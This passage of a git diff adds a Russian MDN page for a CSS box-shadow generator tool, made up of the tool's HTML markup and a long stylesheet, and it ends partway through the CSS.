+ <li>CSS Flexbox guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Grid guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid layouts</a></em></li>
+</ul>
+
+<h2 id="External_Resources">External Resources</h2>
+
+<ul>
+ <li><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box alignment cheatsheet</a></li>
+ <li><a href="https://www.smashingmagazine.com/2016/11/css-grids-flexbox-box-alignment-new-layout-standard/">CSS Grid, Flexbox and Box alignment</a></li>
+ <li><a href="https://blogs.igalia.com/jfernandez/2017/05/03/can-i-use-css-box-alignment/">Thoughts on partial implementations of Box alignment</a></li>
+</ul>
diff --git a/files/ru/web/css/css_box_model/box-shadow_generator/index.html b/files/ru/web/css/css_box_model/box-shadow_generator/index.html
new file mode 100644
index 0000000000..3f46cf53ba
--- /dev/null
+++ b/files/ru/web/css/css_box_model/box-shadow_generator/index.html
@@ -0,0 +1,2884 @@
+---
+title: Генератор теней
+slug: Web/CSS/CSS_Box_Model/Box-shadow_generator
+tags:
+  - CSS3
+  - Тень
+  - инструменты
+translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+---
+<p>Этот инструмент позволяет вам создавать CSS {{cssxref("box-shadow")}} эффекты, добавлять тени вашим элементам.</p>
+
+<div style="display: none;">
+<h2 id="box-shadow_generator" name="box-shadow_generator">Генератор box-shadow generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="layer_manager"&gt;
+            &lt;div class="group section"&gt;
+                &lt;div class="button" data-type="add"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-up"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-down"&gt; &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="stack_container"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_zone"&gt;
+            &lt;div id="layer_menu" class="col span_12"&gt;
+                &lt;div class="button" id="element" data-type="subject" data-title="element"&gt; элементы &lt;/div&gt;
+                &lt;div class="button" id="before" data-type="subject" data-title=":before"&gt;
+                    :before
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="button" id="after" data-type="subject" data-title=":after"&gt;
+                    :after
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='before' data-label=":before"&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='after' data-label=":after"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="preview"&gt;
+                &lt;div id="obj-element"&gt;
+                    &lt;div class="content"&gt; &lt;/div&gt;
+                    &lt;div id="obj-before"&gt; &lt;/div&gt;
+                    &lt;div id="obj-after"&gt; &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="controls" class="group section"&gt;
+        &lt;div class="wrap-left"&gt;
+            &lt;div class="colorpicker category"&gt;
+                &lt;div class="title"&gt; &lt;/div&gt;
+                &lt;div id="colorpicker" class="group"&gt;
+                    &lt;div id="gradient" class="gradient"&gt;
+                        &lt;div id="gradient_picker"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="hue" data-topic="hue" class="hue"&gt;
+                        &lt;div id="hue_selector"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="hue" data-title='H:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="saturation" data-title='S:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="value" data-title='V:' data-action="HSV"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="alpha"&gt;
+                        &lt;div id="alpha" data-topic="alpha"&gt;
+                            &lt;div id="alpha_selector"&gt; &lt;/div&gt;
+                        &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="r" data-title='R:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="g" data-title='G:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="b" data-title='B:' data-action="RGB"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="preview block"&gt;
+                        &lt;div id="output_color"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="block info"&gt;
+                        &lt;div class="input" data-topic="a" data-title='alpha:' data-action="alpha"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="hexa" data-title='' data-action="hexa"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="wrap-right"&gt;
+
+            &lt;div id="shadow_properties" class="category"&gt;
+                &lt;div class="title"&gt; Shadow properties &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; inset &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='inset'&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position x &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posX" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position y &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posY" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Blur &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="blur" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Spread &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="spread" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="element_properties" class="category"&gt;
+                &lt;div class="title"&gt; Параметры элемента&lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; border &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='border-state' data-state="true"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="z-index" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; z-index &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="z-index"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; top &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="top" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; left &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="left" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="transform_rotate" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Rotate &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="rotate" data-unit="deg"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Width &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="width"  data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Height &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="height" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div id="menu" class="menu"&gt;&lt;/div&gt;
+                &lt;div class="title"&gt;    CSS-код &lt;/div&gt;
+                &lt;div class="group" style="border-top-left-radius: 0;"&gt;
+                    &lt;div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                    &lt;div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&amp;quot;&amp;quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input &gt; input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
+	width: 100%;
+	margin: 5px 0;
+	padding: 5px;
+	text-align: center;
+	background-color: #EEE;
+	border: 1px solid #DDD;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	color: #333;
+	border-radius: 3px;
+
+	position: relative;
+	display: block;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_manager .node:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	cursor: pointer;
+}
+
+/* active element styling */
+
+#layer_manager [data-active='layer'] {
+	color: #FFF;
+	border: none;
+	background-color: #379B4A;
+}
+
+#layer_manager [data-active='subject'] {
+	color: #FFF;
+	background-color: #467FC9;
+}
+
+/* delete button */
+
+#layer_manager .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 10px;
+	display: none;
+}
+
+#layer_manager .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_manager .node:hover .delete {
+	display: block;
+}
+
+
+#layer_manager .stack {
+	padding: 0 5px;
+	max-height: 90%;
+	overflow: auto;
+	overflow-x: hidden;
+}
+
+
+/*
+ * Layer Menu
+ */
+
+#layer_menu {
+	margin: 0 0 10px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button {
+	width: 100px;
+	margin: 0 5px 0 0;
+	padding: 2.5px;
+	color: #333;
+	background-color: #EEE;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+
+	position: relative;
+	display: block;
+	float: left;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#layer_menu .button:hover {
+	color: #FFF;
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_menu .delete {
+	width: 1.5em;
+	height: 100%;
+	float: right;
+	border-radius: 3px;
+	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	position: absolute;
+	top: 0;
+	right: 5px;
+	display: none;
+}
+
+#layer_menu .delete:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
+}
+
+#layer_menu .button:hover .delete {
+	display: block;
+}
+
+
+/*
+ * active element styling
+ */
+
+#layer_menu [data-active='subject'] {
+	color: #FFF;
+	background-color: #379B4A;
+	border: 1px solid #379B4A;
+}
+
+
+/* Checkbox */
+
+#layer_menu .ui-checkbox &gt; label {
+	height: 15px;
+	line-height: 17px;
+	font-weight: normal;
+	width: 46px;
+	margin: 0 5px 0 0;
+}
+
+#layer_menu .ui-checkbox &gt; input:checked + label {
+	display: none;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview_zone {
+	width: 82%;
+	float: left;
+
+}
+
+
+#preview {
+	width: 100%;
+	height: 400px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	cursor: move;
+	float: left;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#obj-element {
+	width: 300px;
+	height: 100px;
+	border: 1px solid #CCC;
+	background: #FFF;
+	position: relative;
+}
+
+
+#obj-before {
+	height: 100%;
+	width: 100%;
+	background: #999;
+	border: 1px solid #CCC;
+	text-align: left;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+#obj-after {
+	height: 100%;
+	width: 100%;
+	background: #DDD;
+	border: 1px solid #CCC;
+	text-align: right;
+	display : block;
+	position: absolute;
+	z-index: -1;
+}
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/**
+ * Controls
+ */
+
+.wrap-left {
+	float: left;
+	overflow: hidden;
+}
+
+.wrap-right {
+	float: right;
+	overflow: hidden;
+}
+
+.wrap-left &gt; * {
+	float: left;
+}
+
+.wrap-right &gt; * {
+	float: right;
+}
+
+@media (min-width: 960px) {
+
+	.wrap-left {
+		width: 45%;
+	}
+
+	.wrap-right {
+		width: 55%;
+	}
+}
+
+
+@media (max-width: 959px) {
+
+	.wrap-left {
+		width: 30%;
+	}
+
+	.wrap-right {
+		width: 70%;
+	}
+}
+
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+
+#controls .category {
+	width: 500px;
+	margin: 0 auto 20px;
+	padding: 0;
+
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 1.5em;
+	line-height: 1.5em;
+	color: #AAA;
+	text-align: right;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+
+/**
+ * 	Color Picker
+ */
+
+@media (min-width: 960px) {
+	#controls .colorpicker {
+		width: 420px;
+	}
+}
+
+@media (max-width: 959px) {
+	#controls .colorpicker {
+		width: 210px;
+	}
+}
+
+#colorpicker {
+	width: 100%;
+	margin: 0 auto;
+}
+
+#colorpicker .gradient {
+	width: 200px;
+	height: 200px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background-color: #F00;
+	float: left;
+}
+
+#colorpicker .hue {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	float: left;
+}
+
+#colorpicker .alpha {
+	width: 200px;
+	height: 30px;
+	margin: 5px;
+	border: 1px solid #CCC;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker #alpha {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
+	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
+}
+
+#colorpicker #gradient_picker {
+	width: 0.5em;
+	height: 0.5em;
+	border-radius: 0.4em;
+	border: 2px solid #CCC;
+	position: relative;
+	top: 20%;
+	left: 20%;
+}
+
+#colorpicker #hue_selector,
+#colorpicker #alpha_selector {
+	width: 3px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+	left: 0%;
+}
+
+/* input HSV and RGB */
+#colorpicker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+#colorpicker .info * {
+	float: left;
+}
+
+#colorpicker .info input {
+	margin: 0;
+	text-align: center;
+	width: 30px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#colorpicker .info span {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	line-height: 20px;
+	display: block;
+}
+
+/* Preview color */
+#colorpicker .block {
+	width: 95px;
+	height: 54px;
+	float: left;
+	position: relative;
+}
+
+#colorpicker .preview {
+	margin: 5px;
+	border: 1px solid #CCC;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#colorpicker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+#colorpicker .preview &gt; * {
+	width: 50%;
+	height: 100%;
+}
+
+#colorpicker #output_color {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+	z-index: 2;
+}
+
+#colorpicker .block .input {
+	float: right;
+}
+
+#colorpicker [data-topic="a"] &gt; span {
+	width: 50px;
+}
+
+#colorpicker [data-topic="hexa"] {
+	float: right;
+	margin: 10px 0 0 0;
+}
+
+#colorpicker [data-topic="hexa"] &gt; span {
+	display: none;
+}
+
+#colorpicker [data-topic="hexa"] &gt; input {
+	width: 85px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/*
+ * UI Components
+ */
+
+/* Property */
+
+.property {
+	height: 20px;
+	margin: 10px 0;
+}
+
+.property * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+#controls .ui-slider-name {
+	margin: 0 10px 0 0;
+}
+
+/*
+ * Output code styling
+ */
+
+#output {
+	position: relative;
+}
+
+#output .menu {
+	max-width: 70%;
+	height: 20px;
+	position: absolute;
+	top: 2px;
+}
+
+#output .button {
+	width: 90px;
+	height: 22px;
+	margin: 0 5px 0 0;
+	text-align: center;
+	line-height: 20px;
+	font-size: 14px;
+	color: #FFF;
+	background-color: #999;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	bottom: -5px;
+	float:left;
+}
+
+#output .button:hover {
+	color: #FFF;
+	background-color: #666;
+	cursor: pointer;
+}
+
+#output .menu [data-active="true"] {
+	color: #777;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+	border-bottom: none;
+}
+
+#output .menu [data-topic="before"] {
+	left: 100px;
+}
+
+#output .menu [data-topic="after"] {
+	left: 200px;
+}
+
+#output .output {
+	width: 480px;
+	margin: 10px;
+	padding: 10px;
+	overflow: hidden;
+	color: #555;
+	font-size: 14px;
+	border: 1px dashed #CCC;
+	border-radius: 3px;
+	display: none;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+#output .css-property {
+	width: 100%;
+	float: left;
+	white-space: pre;
+}
+
+#output .name {
+	width: 35%;
+	float: left;
+}
+
